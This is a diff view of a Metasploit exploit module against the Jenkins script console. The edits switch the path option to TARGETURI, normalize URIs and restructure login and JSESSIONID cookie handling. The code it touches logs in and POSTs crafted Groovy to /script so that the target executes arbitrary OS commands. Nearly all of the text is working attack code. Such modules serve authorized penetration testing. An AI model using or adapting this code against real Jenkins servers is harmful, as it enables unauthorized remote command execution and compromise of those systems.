@@ -26,7 +26,6 @@ def initialize(info = {})
26
26
'jamcut'
27
27
] ,
28
28
'License' => MSF_LICENSE ,
29
- 'Version' => '$Revision: $' ,
30
29
'DefaultOptions' =>
31
30
{
32
31
'WfsDelay' => '10' ,
@@ -45,14 +44,17 @@ def initialize(info = {})
45
44
46
45
register_options (
47
46
[
48
- OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , '' ] ) ,
49
- OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
50
- OptString . new ( 'PATH ' , [ true , 'The path to jenkins' , '/jenkins' ] ) ,
47
+ OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , '' ] ) ,
48
+ OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
49
+ OptString . new ( 'TARGETURI ' , [ true , 'The path to jenkins' , '/jenkins/ ' ] ) ,
51
50
] , self . class )
52
51
end
53
52
54
53
def check
55
- res = send_request_cgi ( { 'uri' => "#{ datastore [ 'PATH' ] } /login" } )
54
+ uri = target_uri
55
+ uri . path = normalize_uri ( uri . path )
56
+ uri . path << "/" if uri . path [ -1 , 1 ] != "/"
57
+ res = send_request_cgi ( { 'uri' => "#{ uri . path } login" } )
56
58
if res and res . headers . include? ( 'X-Jenkins' )
57
59
return Exploit ::CheckCode ::Detected
58
60
else
@@ -61,16 +63,17 @@ def check
61
63
end
62
64
63
65
def http_send_command ( cmd , opts = { } )
64
- res = send_request_cgi ( {
66
+ request_parameters = {
65
67
'method' => 'POST' ,
66
- 'uri' => datastore [ 'PATH' ] + '/script' ,
67
- 'cookie' => @cookie ,
68
+ 'uri' => "#{ @uri . path } script" ,
68
69
'vars_post' =>
69
70
{
70
71
'script' => java_craft_runtime_exec ( cmd ) ,
71
72
'Submit' => 'Run'
72
73
}
73
- } )
74
+ }
75
+ request_parameters [ 'cookie' ] = @cookie if @cookie != nil
76
+ res = send_request_cgi ( request_parameters )
74
77
if not ( res and res . code == 200 )
75
78
fail_with ( Exploit ::Failure ::Unknown , 'Failed to execute the command.' )
76
79
end
@@ -101,21 +104,19 @@ def execute_command(cmd, opts = {})
101
104
end
102
105
103
106
def exploit
107
+ @uri = target_uri
108
+ @uri . path = normalize_uri ( @uri . path )
109
+ @uri . path << "/" if @uri . path [ -1 , 1 ] != "/"
104
110
print_status ( 'Checking access to the script console' )
105
- res = send_request_cgi ( { 'uri' => "#{ datastore [ 'PATH' ] } /script" } )
106
- if not ( res and res . code )
107
- fail_with ( Exploit ::Failure ::Unknown )
108
- end
109
-
110
- sessionid = 'JSESSIONID=' << res . headers [ 'set-cookie' ] . split ( 'JSESSIONID=' ) [ 1 ] . split ( '; ' ) [ 0 ]
111
- @cookie = "#{ sessionid } "
111
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" } )
112
+ fail_with ( Exploit ::Failure ::Unknown ) if not res
112
113
114
+ @cookie = nil
113
115
if res . code != 200
114
116
print_status ( 'Logging in...' )
115
117
res = send_request_cgi ( {
116
118
'method' => 'POST' ,
117
- 'uri' => datastore [ 'PATH' ] + '/j_acegi_security_check' ,
118
- 'cookie' => @cookie ,
119
+ 'uri' => "#{ @uri . path } j_acegi_security_check" ,
119
120
'vars_post' =>
120
121
{
121
122
'j_username' => Rex ::Text . uri_encode ( datastore [ 'USERNAME' ] , 'hex-normal' ) ,
@@ -127,6 +128,8 @@ def exploit
127
128
if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
128
129
fail_with ( Exploit ::Failure ::NoAccess , 'login failed' )
129
130
end
131
+ sessionid = 'JSESSIONID' << res . headers [ 'set-cookie' ] . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
132
+ @cookie = "#{ sessionid } "
130
133
else
131
134
print_status ( 'No authentication required, skipping login...' )
132
135
end
0 commit comments